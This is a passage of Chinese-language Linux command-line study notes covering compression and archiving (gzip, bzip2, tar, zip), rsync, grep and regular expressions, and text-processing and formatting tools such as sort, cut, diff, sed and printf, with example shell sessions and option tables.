alien@localhost:~ $ gunzip -c foo.txt | less
|
||||||
|
alien@localhost:~ $ ls
|
||||||
|
bin foo.txt.gz 公共的 模板 视频 图片 文档 下载 音乐 桌面
|
||||||
|
# 与上面有同等作用
|
||||||
|
alien@localhost:~ $ zcat foo.txt.gz | less
|
||||||
|
# 等同于上面的语句
|
||||||
|
alien@localhost:~ $ zless foo.txt.gz
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**bzip2:**
|
||||||
|
|
||||||
|
与 gzip 程序相似,但是使用了不同的压缩算法, 舍弃了压缩速度,而实现了更高的压缩级别。
|
||||||
|
|
||||||
|
>
|
||||||
|
如果你再次压缩已经压缩过的文件,实际上你 会得到一个更大的文件。这是因为所有的压缩技术都会涉及一些开销,文件中会被添加描述 此次压缩过程的信息。
|
||||||
|
|
||||||
|
|
||||||
|
### 归档文件
|
||||||
|
|
||||||
|
**tar:**扩展名为 .tar 或者 .tgz 的文件,它们各自表示“普通” 的 tar 包和被 gzip 程序压缩过的 tar 包
|
||||||
|
|
||||||
|
```
|
||||||
|
tar mode[options] pathname...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**tar 模式:**
|
||||||
|
|
||||||
|
|模式|说明
|
||||||
|
|------
|
||||||
|
|c|为文件和/或目录列表创建归档文件。
|
||||||
|
|x|抽取归档文件。
|
||||||
|
|r|追加具体的路径到归档文件的末尾。
|
||||||
|
|t|列出归档文件的内容。
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ mkdir -p playground/dir-{00{1..9},0{10..99},100}
|
||||||
|
alien@localhost:~ $ touch playground/dir-{00{1..9},0{10..99},100}/file-{A..Z}
|
||||||
|
# 模式和选项可以写在一起,而且不 需要开头的短横线。
|
||||||
|
alien@localhost:~ $ tar cf playground.tar playground
|
||||||
|
alien@localhost:~ $ tar tvf playground.tar
|
||||||
|
drwxrwxr-x alien/alien 0 2018-09-20 09:01 playground/
|
||||||
|
drwxrwxr-x alien/alien 0 2018-09-20 09:01 playground/dir-051/
|
||||||
|
-rw-rw-r-- alien/alien 0 2018-09-20 09:01 playground/dir-051/file-K
|
||||||
|
...
|
||||||
|
# 抽取tar包到foo文件夹
|
||||||
|
alien@localhost:~ $ mkdir foo
|
||||||
|
alien@localhost:~ $ cd foo
|
||||||
|
# 类似于压缩
|
||||||
|
alien@localhost:~/foo $ tar xf ../playground.tar
|
||||||
|
alien@localhost:~/foo $ ls
|
||||||
|
playground
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
在现代 Linux 系统中, USB硬盘会被“自动地”挂载到 /media 目录下。我们也假定硬盘中有一个名为 BigDisk 的逻辑卷。 为了打包家目录文件,可以制作 tar 包
|
||||||
|
|
||||||
|
```
|
||||||
|
# 打包文件
|
||||||
|
sudo tar cf /media/BigDisk/home.tar /home
|
||||||
|
# 抽取文件
|
||||||
|
cd /
|
||||||
|
sudo tar xf /media/BigDisk/home.tar
|
||||||
|
# 抽取单个文件
|
||||||
|
sudo tar xf archive.tar pathname
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
tar 命令经常结合 find 命令一起来制作归档文件:
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ mkdir -p playground/dir-{00{1..9},0{10..99},100}
|
||||||
|
alien@localhost:~ $ touch playground/dir-{00{1..9},0{10..99},100}/file-{A..Z}
|
||||||
|
alien@localhost:~ $ find playground -name 'file-A' -exec tar rf playground.tar '{}' '+'
|
||||||
|
alien@localhost:~ $ ls
|
||||||
|
bin playground.tar 模板 图片 下载 桌面
|
||||||
|
playground 公共的 视频 文档 音乐
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
find 命令来匹配 playground 目录中所有名为 file-A 的文件,然后使用-exec 行为,来 唤醒带有追加模式(r)的 tar 命令,把匹配的文件添加到归档文件 playground.tar 里面。
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ find playground -name 'file-A' | tar cf - --files-from=- | gzip > playground.tgz
|
||||||
|
alien@localhost:~ $ ls
|
||||||
|
bin playground playground.tar playground.tgz 公共的 模板 视频 图片 文档 下载 音乐 桌面
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
–file-from 选项(也可以用 -T 来指定) 导致 tar 命令从一个文件而不是命令行来读入它的路径名列表。现在的 GUN 版本的 tar 命令 ,gzip 和 bzip2 压缩两者都直接支持,各自使用 z 和 j 选项,上述命令简化为:
|
||||||
|
|
||||||
|
```
|
||||||
|
find playground -name 'file-A' | tar czf playground.tgz -T -
|
||||||
|
# 创建一个由 bzip2 压缩的归档文件
|
||||||
|
find playground -name 'file-A' | tar cjf playground.tbz -T -
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
把远端remote-sys主机下的`Documents`文件夹打包到本地系统
|
||||||
|
ssh remote-sys 'tar cf - Documents' | tar xf -
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**zip:**
|
||||||
|
|
||||||
|
```
|
||||||
|
zip options zipfile file...
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ zip -r playground.zip playground
|
||||||
|
adding: playground/ (stored 0%)
|
||||||
|
adding: playground/dir-051/ (stored 0%)
|
||||||
|
adding: playground/dir-051/file-K (stored 0%)
|
||||||
|
...
|
||||||
|
alien@localhost:~ $ ls
|
||||||
|
bin playground.tar playground.zip 模板 图片 下载 桌面
|
||||||
|
playground playground.tgz 公共的 视频 文档 音乐
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
使用-l 选项,导致 unzip 命令只是列出文件包中的内容而没有抽取文件。添加这个-v 选项会增加列表的冗余信息。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 利用管道
|
||||||
|
alien@localhost:~ $ find playground -name "file-A" | zip -@ file-A.zip
|
||||||
|
adding: playground/dir-051/file-A (stored 0%)
|
||||||
|
adding: playground/dir-007/file-A (stored 0%)
|
||||||
|
adding: playground/dir-092/file-A (stored 0%)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
`unzip` 程序,不接受标准输入。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 与tar一样,zip 命令把末尾的横杠解释为 “使用标准输入作为输入文件。”
|
||||||
|
alien@localhost:~ $ ls -l /etc/ | zip ls-etc.zip -
|
||||||
|
adding: - (deflated 81%)
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 同步文件和目录
|
||||||
|
|
||||||
|
通过使用 rsync 远端更新协议,此协议 允许 rsync 快速地检测两个目录的差异,执行最小量的复制来达到目录间的同步。
|
||||||
|
|
||||||
|
```
|
||||||
|
rsync options source destination
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
source 和 destination 两者之一必须是本地文件。rsync 不支持远端到远端的复制。source 和 destination 是下列选项之一:
|
||||||
|
|
||||||
|
```
|
||||||
|
# -a 选项(递归和保护文件属性)和-v 选项(冗余输出)
|
||||||
|
rsync -av playground foo
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 在网络间使用 rsync 命令
|
||||||
|
|
||||||
|
```
|
||||||
|
# 备份本地文件到远端
|
||||||
|
sudo rsync -av --delete --rsh=ssh /etc /home /usr/local remote-sys:/backup
|
||||||
|
# 同步远端文件到本地
|
||||||
|
rsync -av -delete rsync://rsync.gtlib.gatech.edu/fedora-linux-core/development/i386/os fedora-devel
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
## 六、正则表达式
|
||||||
|
|
||||||
|
### grep
|
||||||
|
|
||||||
|
`grep [options] regex [file...]`,grep 程序会在文本文件中查找一个指定的正则表达式,并把匹配行输出到标准输出。
|
||||||
|
|
||||||
|
grep选项:
|
||||||
|
|
||||||
|
|选项|描述
|
||||||
|
|------
|
||||||
|
|-i|忽略大小写。不会区分大小写字符。也可用–ignore-case 来指定。
|
||||||
|
|-v|不匹配。通常,grep 程序会打印包含匹配项的文本行。这个选项导致 grep 程序只会打印不包含匹配项的文本行。也可用–invert-match 来指定。
|
||||||
|
|-c|打印匹配的数量(或者是不匹配的数目,若指定了-v 选项),而不是文本行本身。 也可用–count 选项来指定。
|
||||||
|
|-l|打印包含匹配项的文件名,而不是文本行本身,也可用–files-with-matches 选项来指定。
|
||||||
|
|-L|相似于-l 选项,但是只是打印不包含匹配项的文件名。也可用–files-without-match 来指定。
|
||||||
|
|-n|在每个匹配行之前打印出其位于文件中的相应行号。也可用–line-number 选项来指定。
|
||||||
|
|-h|应用于多文件搜索,不输出文件名。也可用–no-filename 选项来指定。
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ ls /bin > dirlist-bin.txt
|
||||||
|
alien@localhost:~ $ ls /usr/bin > dirlist-usr-bin.txt
|
||||||
|
alien@localhost:~ $ ls /sbin > dirlist-sbin.txt
|
||||||
|
alien@localhost:~ $ ls /usr/sbin > dirlist-usr-sbin.txt
|
||||||
|
alien@localhost:~ $ ls dirlist*.txt
|
||||||
|
dirlist-bin.txt dirlist-sbin.txt dirlist-usr-bin.txt dirlist-usr-sbin.txt
|
||||||
|
# 搜索所列文件中的
|
||||||
|
alien@localhost:~ $ grep bzip dirlist*.txt
|
||||||
|
dirlist-bin.txt:bzip2
|
||||||
|
dirlist-bin.txt:bzip2recover
|
||||||
|
alien@localhost:~ $ grep -l bzip dirlist*.txt
|
||||||
|
dirlist-bin.txt
|
||||||
|
# 查看不包含匹配项的文件列表
|
||||||
|
alien@localhost:~ $ grep -L bzip dirlist*.txt
|
||||||
|
dirlist-sbin.txt
|
||||||
|
dirlist-usr-bin.txt
|
||||||
|
dirlist-usr-sbin.txt
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
元字符:`^ $ . [ ] { } - ? * + ( ) | \`,可以把元字符用引号引起来阻止 shell 试图展开它们
|
||||||
|
|
||||||
|
插入符号和美元符号被看作是锚点,`^`匹配开头,`$`匹配尾部。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 在我们的字典文件中查找到包含五个字母,且第三个字母 是“j”,最后一个字母是“r”的所有单词
|
||||||
|
alien@localhost:~ $ grep -i '^..j.r$' /usr/share/dict/words
|
||||||
|
Major
|
||||||
|
major
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### POSIX 字符集
|
||||||
|
|
||||||
|
posix标准引入了”locale”概念,它能针对不同地区选择合适的字符集。:
|
||||||
|
|
||||||
|
|字符集|说明
|
||||||
|
|------
|
||||||
|
|[:alnum:]|字母数字字符。在 ASCII 中,等价于:[A-Za-z0-9]
|
||||||
|
|[:word:]|与[:alnum:]相同, 但增加了下划线字符。
|
||||||
|
|[:alpha:]|字母字符。在 ASCII 中,等价于:[A-Za-z]
|
||||||
|
|[:blank:]|包含空格和 tab 字符。
|
||||||
|
|[:cntrl:]|ASCII 的控制码。包含了0到31,和127的 ASCII 字符。
|
||||||
|
|[:digit:]|数字0到9
|
||||||
|
|[:graph:]|可视字符。在 ASCII 中,它包含33到126的字符。
|
||||||
|
|[:lower:]|小写字母。
|
||||||
|
|[:punct:]|标点符号字符。在 ASCII 中,等价于:[-!"#$%&’()*+,./:;<=>?@[\]_`{|}~]
|
||||||
|
|[:print:]|可打印的字符。在[:graph:]中的所有字符,再加上空格字符。
|
||||||
|
|[:space:]|空白字符,包括空格、tab、回车、换行、vertical tab 和 form feed.在 ASCII 中, 等价于:[ \t\r\n\v\f]
|
||||||
|
|[:upper:]|大写字母。
|
||||||
|
|[:xdigit:]|用来表示十六进制数字的字符。在 ASCII 中,等价于:[0-9A-Fa-f]
|
||||||
|
|
||||||
|
## 七、文本处理
|
||||||
|
|
||||||
|
```
|
||||||
|
cat – 连接文件并且打印到标准输出
|
||||||
|
sort – 给文本行排序
|
||||||
|
uniq – 报告或者省略重复行
|
||||||
|
cut – 从每行中删除文本区域
|
||||||
|
paste – 合并文件文本行
|
||||||
|
join – 基于某个共享字段来联合两个文件的文本行
|
||||||
|
comm – 逐行比较两个有序的文件
|
||||||
|
diff – 逐行比较文件
|
||||||
|
patch – 给原始文件打补丁
|
||||||
|
tr – 翻译或删除字符
|
||||||
|
sed – 用于筛选和转换文本的流编辑器
|
||||||
|
aspell – 交互式拼写检查器
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 文本应用程序
|
||||||
|
|
||||||
|
```
|
||||||
|
cat > foo.txt # 将输入cat重定向到foo.txt中,按CTRL+D结束
|
||||||
|
cat -ns foo.txt # 输出显示行号和禁止输出多个空白行
|
||||||
|
sort > foo.txt # 将输入sort重定向到foo.txt中,按CTRL+D结束
|
||||||
|
# 将三个文本文件合并为一个有序的文件
|
||||||
|
sort file1.txt file2.txt file3.txt > final_sorted_list.txt
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**常见的 sort 程序选项:**
|
||||||
|
|
||||||
|
|选项|长选项|描述
|
||||||
|
|------
|
||||||
|
|-b|–ignore-leading-blanks|默认情况下,对整行进行排序,从每行的第一个字符开始。这个选项导致 sort 程序忽略 每行开头的空格,从第一个非空白字符开始排序。
|
||||||
|
|-f|–ignore-case|让排序不区分大小写。
|
||||||
|
|-n|–numeric-sort|基于字符串的数值来排序。使用此选项允许根据数字值执行排序,而不是字母值。
|
||||||
|
|-r|–reverse|按相反顺序排序。结果按照降序排列,而不是升序。
|
||||||
|
|-k|–key=field1[,field2]|对从 field1到 field2之间的字符排序,而不是整个文本行。看下面的讨论。
|
||||||
|
|-m|–merge|把每个参数看作是一个预先排好序的文件。把多个文件合并成一个排好序的文件,而没有执行额外的排序。
|
||||||
|
|-o|–output=file|把排好序的输出结果发送到文件,而不是标准输出。
|
||||||
|
|-t|–field-separator=char|定义域分隔字符。默认情况下,域由空格或制表符分隔。
|
||||||
|
|
||||||
|
```
|
||||||
|
# du 命令可以 确定最大的磁盘空间用户,输出结果按照路径名来排序
|
||||||
|
# head 命令,把输出结果限制为前 10 行
|
||||||
|
du -s /usr/share/* | head
|
||||||
|
# 按数值排序
|
||||||
|
du -s /usr/share/* | sort -nr | head
|
||||||
|
# 按照文件大小排序,5指第五个字段
|
||||||
|
ls -l /usr/bin | sort -nr -k 5 | head
|
||||||
|
# 对第一个字段排序,指定了 1,1, 始于并且结束于第一个字段
|
||||||
|
# 第二个实例中,我们指定了 2n,意味着第二个字段是排序的键值
|
||||||
|
sort --key=1,1 --key=2n distros.txt
|
||||||
|
# sort 程序使用一个排序键值,其始于第三个字段中的第七个字符
|
||||||
|
# n 和 r 选项来实现一个逆向的数值排序,b 选项用来删除日期字段中开头的空格
|
||||||
|
sort -k 3.7nbr -k 3.1nbr -k 3.4nbr distros.txt
|
||||||
|
# -t 选项来定义分隔符
|
||||||
|
sort -t ':' -k 7 /etc/passwd | head
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
uniq 会删除任意排好序的重复行(因为 uniq 只会删除相邻的重复行),并且把结果发送到标准输出。 它常常和 sort 程序一块使用,来清理重复的输出。<br/> **uniq 选项:**
|
||||||
|
|
||||||
|
|选项|说明
|
||||||
|
|------
|
||||||
|
|-c|输出所有的重复行,并且每行开头显示重复的次数。
|
||||||
|
|-d|只输出重复行,而不是特有的文本行。
|
||||||
|
|-f n|忽略每行开头的 n 个字段,字段之间由空格分隔,正如 sort 程序中的空格分隔符;然而, 不同于 sort 程序,uniq 没有选项来设置备用的字段分隔符。
|
||||||
|
|-i|在比较文本行的时候忽略大小写。
|
||||||
|
|-s n|跳过(忽略)每行开头的 n 个字符。
|
||||||
|
|-u|只输出独有的文本行。这是默认的。
|
||||||
|
|
||||||
|
**cut 程序选择项**
|
||||||
|
|
||||||
|
|选项|说明
|
||||||
|
|------
|
||||||
|
|-c char_list|从文本行中抽取由 char_list 定义的文本。这个列表可能由一个或多个逗号 分隔开的数值区间组成。
|
||||||
|
|-f field_list|从文本行中抽取一个或多个由 field_list 定义的字段。这个列表可能 包括一个或多个字段,或由逗号分隔开的字段区间。
|
||||||
|
|-d delim_char|当指定-f 选项之后,使用 delim_char 做为字段分隔符。默认情况下, 字段之间必须由单个 tab 字符分隔开。
|
||||||
|
|–complement|抽取整个文本行,除了那些由-c 和/或-f 选项指定的文本。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 抽取所有行第三个字段到标准输出
|
||||||
|
cut -f 3 distros.txt
|
||||||
|
# 抽取所有行第三个字段后,再抽取每一个字段的7-10个字符
|
||||||
|
cut -f 3 distros.txt | cut -c 7-10
|
||||||
|
# 指定了分隔符
|
||||||
|
cut -d ':' -f 1 /etc/passwd | head
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**paste**
|
||||||
|
|
||||||
|
这个 paste 命令的功能正好与 cut 相反,会添加一个或多个**文本列**到文件中。
|
||||||
|
|
||||||
|
**join**
|
||||||
|
|
||||||
|
类似于 paste,它会往文件中添加列,通常与关系型数据库有关联。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 不同的列项会添加到第二个file中
|
||||||
|
join distros-key-names.txt distros-key-vernums.txt | head
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 比较文本
|
||||||
|
|
||||||
|
**comm**
|
||||||
|
|
||||||
|
第一列包含第一个文件独有的文本行;第二列文本行是第二列独有的;第三列包含两个文件共有的文本行。comm 支持 -n 形式的选项,这里 n 代表 1,2 或 3。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 隐藏输出结果的第1,2列
|
||||||
|
comm -12 file1.txt file2.txt
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**diff**
|
||||||
|
|
||||||
|
软件开发员经常使用 diff 程序来检查不同程序源码 版本之间的更改,diff 能够递归地检查源码目录,经常称之为源码树。
|
||||||
|
|
||||||
|
diff 更改命令:
|
||||||
|
|
||||||
|
|改变|说明
|
||||||
|
|------
|
||||||
|
|r1ar2|把第二个文件中位置 r2 处的文件行添加到第一个文件中的 r1 处。
|
||||||
|
|r1cr2|用第二个文件中位置 r2 处的文本行更改(替代)位置 r1 处的文本行。
|
||||||
|
|r1dr2|删除第一个文件中位置 r1 处的文本行,这些文本行将会出现在第二个文件中位置 r2 处。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
# 上下文模式,与github上面的一样
|
||||||
|
diff -c file1.txt file2.txt
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
diff 上下文模式更改指示符:
|
||||||
|
|
||||||
|
|指示符|意思
|
||||||
|
|------
|
||||||
|
|blank|上下文显示行。它并不表示两个文件之间的差异。
|
||||||
|
|-|删除行。这一行将会出现在第一个文件中,而不是第二个文件内。
|
||||||
|
|+|添加行。这一行将会出现在第二个文件内,而不是第一个文件中。
|
||||||
|
|!|更改行。将会显示某个文本行的两个版本,每个版本会出现在更改组的各自部分。
|
||||||
|
|
||||||
|
diff 统一模式更改指示符
|
||||||
|
|
||||||
|
|字符|意思
|
||||||
|
|------
|
||||||
|
|空格|两个文件都包含这一行。
|
||||||
|
|-|在第一个文件中删除这一行。
|
||||||
|
|+|添加这一行到第一个文件中。
|
||||||
|
|
||||||
|
**patch**
|
||||||
|
|
||||||
|
它接受从 diff 程序的输出,并且通常被用来 把较老的文件版本转变为较新的文件版本。
|
||||||
|
|
||||||
|
```
|
||||||
|
diff -Naur old_file new_file > diff_file
|
||||||
|
# 得到diff_file应用到旧文件中
|
||||||
|
patch < diff_file
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**tr**
|
||||||
|
|
||||||
|
一种基于字符的查找和替换操作。
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ echo "lowercase letters" | tr a-z A-Z
|
||||||
|
LOWERCASE LETTERS
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
字符集可以用三种方式来表示:
|
||||||
|
1. 一个枚举列表。例如, ABCDEFGHIJKLMNOPQRSTUVWXYZ1. 一个字符域。例如,A-Z 。注意这种方法有时候面临与其它命令相同的问题,归因于 语系的排序规则,因此应该谨慎使用。1. POSIX 字符类。例如,[:upper:]
|
||||||
|
```
|
||||||
|
# MS-DOS 文本文件为 Unix 风格文本,每行末尾的回车符需要被删除
|
||||||
|
tr -d '\r' < dos_file > unix_file
|
||||||
|
# 使用-s 选项,tr 命令能“挤压”(删除)重复的字符实例,重复的字符必须是相邻的
|
||||||
|
alien@localhost:~ $ echo "aaabbbccc" | tr -s ab
|
||||||
|
abccc
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**sed**
|
||||||
|
|
||||||
|
sed 的工作方式是要不给出单个编辑命令(在命令行中)要不就是包含多个命令的脚本文件名, 然后它就按行来执行这些命令。替换命令由字母 s后面跟着的字符来代表。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 两条命令等价,将输入的文本中的front替换为back
|
||||||
|
echo "front" | sed 's_front_back_'
|
||||||
|
echo "front" | sed 's/front/back/'
|
||||||
|
# 对仅有一行文本的输入流的第一行执行替换操作
|
||||||
|
echo "front" | sed '1s/front/back/'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
sed 地址表示法:
|
||||||
|
|
||||||
|
|地址|说明
|
||||||
|
|------
|
||||||
|
|n|行号,n 是一个正整数。
|
||||||
|
|$|最后一行。
|
||||||
|
|/regexp/|所有匹配一个 POSIX 基本正则表达式的文本行。注意正则表达式通过 斜杠字符界定。选择性地,这个正则表达式可能由一个备用字符界定,通过\cregexpc 来 指定表达式,这里 c 就是一个备用的字符。
|
||||||
|
|addr1,addr2|从 addr1 到 addr2 范围内的文本行,包含地址 addr2 在内。地址可能是上述任意 单独的地址形式。
|
||||||
|
|first~step|匹配由数字 first 代表的文本行,然后随后的每个在 step 间隔处的文本行。例如 1~2 是指每个位于偶数行号的文本行,5~5 则指第五行和之后每五行位置的文本行。
|
||||||
|
|addr1,+n|匹配地址 addr1 和随后的 n 个文本行。
|
||||||
|
|addr!|匹配所有的文本行,除了 addr 之外,addr 可能是上述任意的地址形式。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 打印出一系列的文本行,开始于第一行,直到第五行
|
||||||
|
# 我们使用 p 命令, 其就是简单地把匹配的文本行打印出来
|
||||||
|
sed -n '1,5p' distros.txt
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**sed 基本编辑命令:**
|
||||||
|
|
||||||
|
|命令|说明
|
||||||
|
|------
|
||||||
|
|=|输出当前的行号。
|
||||||
|
|a|在当前行之后追加文本。
|
||||||
|
|d|删除当前行。
|
||||||
|
|i|在当前行之前插入文本。
|
||||||
|
|p|打印当前行。默认情况下,sed 程序打印每一行,并且只是编辑文件中匹配 指定地址的文本行。通过指定-n 选项,这个默认的行为能够被忽略。
|
||||||
|
|q|退出 sed,不再处理更多的文本行。如果不指定-n 选项,输出当前行。
|
||||||
|
|Q|退出 sed,不再处理更多的文本行。
|
||||||
|
|s/regexp/replacement/|只要找到一个 regexp 匹配项,就替换为 replacement 的内容。 replacement 可能包括特殊字符 &,其等价于由 regexp 匹配的文本。另外, replacement 可能包含序列 \1到 \9,其是 regexp 中相对应的子表达式的内容。更多信息,查看 下面 back references 部分的讨论。在 replacement 末尾的斜杠之后,可以指定一个 可选的标志,来修改 s 命令的行为。
|
||||||
|
|y/set1/set2|执行字符转写操作,通过把 set1 中的字符转变为相对应的 set2 中的字符。 注意不同于 tr 程序,sed 要求两个字符集合具有相同的长度。
|
||||||
|
|
||||||
|
```
|
||||||
|
# 可选标志是 g 标志,其 指示 sed 对某个文本行全范围地执行查找和替代操作
|
||||||
|
# 上边只是对第一个实例进行替换
|
||||||
|
echo "aaabbbccc" | sed 's/b/B/g'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**aspell**
|
||||||
|
|
||||||
|
一款**交互式**的**拼写检查器**,拼写检查一个包含简单的文本文件,可以这样使用 aspell:
|
||||||
|
|
||||||
|
```
|
||||||
|
aspell check textfile
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
split(把文件分割成碎片), csplit(基于上下文把文件分割成碎片),和 sdiff(并排合并文件差异)
|
||||||
|
|
||||||
|
## 八、格式化输出
|
||||||
|
|
||||||
|
```
|
||||||
|
nl – 添加行号
|
||||||
|
fold – 限制文件列宽
|
||||||
|
fmt – 一个简单的文本格式转换器
|
||||||
|
pr – 让文本为打印做好准备
|
||||||
|
printf – 格式化数据并打印出来
|
||||||
|
groff – 一个文件格式化系统
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
### 简单的格式化工具
|
||||||
|
|
||||||
|
nl - 添加行号:
|
||||||
|
|
||||||
|
```
|
||||||
|
nl distros.txt | head
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
如果nl同时处理多个文件,它会把他们当成一个单一的 文本流,处理完一个标记元素之后,nl 把它从文本流中删除。它支持一个叫“逻辑页面”的概念。
|
||||||
|
|
||||||
|
nl标记:
|
||||||
|
|
||||||
|
|标记|含义
|
||||||
|
|------
|
||||||
|
|:::|逻辑页页眉开始处
|
||||||
|
|::|逻辑页主体开始处
|
||||||
|
|:|逻辑页页脚开始处
|
||||||
|
|
||||||
|
nl 选项:
|
||||||
|
|
||||||
|
|选项|含义
|
||||||
|
|------
|
||||||
|
|-b style|把 body 按被要求方式数行,可以是以下方式:a = 数所有行t = 数非空行。这是默认设置。n = 无pregexp = 只数那些匹配了正则表达式的行
|
||||||
|
|-f style|将 footer 按被要求设置数。默认是无
|
||||||
|
|-h style|将 header 按被要求设置数。默认是
|
||||||
|
|-i number|将页面增加量设置为数字。默认是一。
|
||||||
|
|-n format|设置数数的格式,格式可以是:ln = 左偏,没有前导零。rn = 右偏,没有前导零。rz = 右偏,有前导零。
|
||||||
|
|-p|不要在没一个逻辑页面的开始重设页面数。
|
||||||
|
|-s string|在没一个行的末尾加字符作分割符号。默认是单个的 tab。
|
||||||
|
|-v number|将每一个逻辑页面的第一行设置成数字。默认是一。
|
||||||
|
|-w width|将行数的宽度设置,默认是六。
|
||||||
|
|
||||||
|
fold - 限制文件行宽:
|
||||||
|
|
||||||
|
```
|
||||||
|
# 设置行宽为12(字符),默认是80
|
||||||
|
echo "The quick brown fox jumped over the lazy dog." | fold -w 12
|
||||||
|
# 增加s选项考虑单词边界
|
||||||
|
echo "The quick brown fox jumped over the lazy dog." | fold -w 12 -s
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
fmt - 一个简单的文本格式器:填充和连接文本行,同时保留空白符和缩进
|
||||||
|
|
||||||
|
```
|
||||||
|
# 设置50 个字符宽,fmt 会保留第一行的缩进
|
||||||
|
fmt -w 50 fmt-info.txt | head
|
||||||
|
# 格式文件选中的部分,通过在开头使用一样的符号,注释行会合并
|
||||||
|
fmt -w 50 -p '# ' fmt-code.txt
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
pr – 格式化打印文本
|
||||||
|
|
||||||
|
pr 程序用来把文本分页,当打印文本的时候,经常希望用几个空行在输出的页面的顶部或底部添加空白。此外,这些空行能够用来插入到每个页面的页眉或页脚。
|
||||||
|
|
||||||
|
-l 选项(页长)和 -w 选项(页宽)定义了宽65列,长15行的一个“页面”。 pr 为 distros.txt 中的内容编订页码,用空行分开各页面,生成了包含文件修改时间、文件名、页码的默认页眉
|
||||||
|
|
||||||
|
printf:主要用在脚本中,用于格式化表格数据
|
||||||
|
|
||||||
|
```
|
||||||
|
printf “format” arguments
|
||||||
|
# 基本上和C语言一样
|
||||||
|
alien@localhost:~ $ printf "I formatted the string: %s\n" foo
|
||||||
|
I formatted the string: foo
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
printf转换规范组件:
|
||||||
|
|
||||||
|
|组件|描述
|
||||||
|
|------
|
||||||
|
|d|将数字格式化为带符号的十进制整数
|
||||||
|
|f|格式化并输出浮点数
|
||||||
|
|o|将整数格式化为八进制数
|
||||||
|
|s|将字符串格式化
|
||||||
|
|x|将整数格式化为十六进制数,必要时使用小写a-f
|
||||||
|
|X|与 x 相同,但变为大写
|
||||||
|
|%|打印 % 符号 (比如,指定 “%%”)
|
||||||
|
|
||||||
|
```
|
||||||
|
alien@localhost:~ $ printf "%d, %f, %o, %s, %x, %X\n" 380 380 380 380 380 380
|
||||||
|
380, 380.000000, 574, 380, 17c, 17C
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
完整转换规范:
|
||||||
|
|
||||||
|
```
|
||||||
|
%[flags][width][.precision]conversion_specification
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
printf 转换可选规范组件
|
||||||
|
|
||||||
|
|组件|描述
|
||||||
|
|------
|
||||||
|
|flags|有5种不同的标志:# – 使用“备用格式”输出。这取决于数据类型。对于o(八进制数)转换,输出以0为前缀.对于x和X(十六进制数)转换,输出分别以0x或0X为前缀。0–(零) 用零填充输出。这意味着该字段将填充前导零,比如“000380”。- – (破折号) 左对齐输出。默认情况下,printf右对齐输出。‘ ’ – (空格) 在正数前空一格。+ – (加号) 在正数前添加加号。默认情况下,printf 只在负数前添加符号。
|
||||||
|
|width|指定最小字段宽度的数。
|
||||||
|
|.precision|对于浮点数,指定小数点后的精度位数。对于字符串转换,指定要输出的字符数。
|
||||||
|
|
||||||
|
示例:
|
||||||
|
|
||||||
|
|自变量|格式|结果|备注
|
||||||
|
|------
|
||||||
|
|380|“%d”|380|简单格式化整数。
|
||||||
|
|380|“%#x”|0x17c|使用“替代格式”标志将整数格式化为十六进制数。
|
||||||
|
|380|“%05d”|00380|用前导零(padding)格式化整数,且最小字段宽度为五个字符。
|
||||||
|
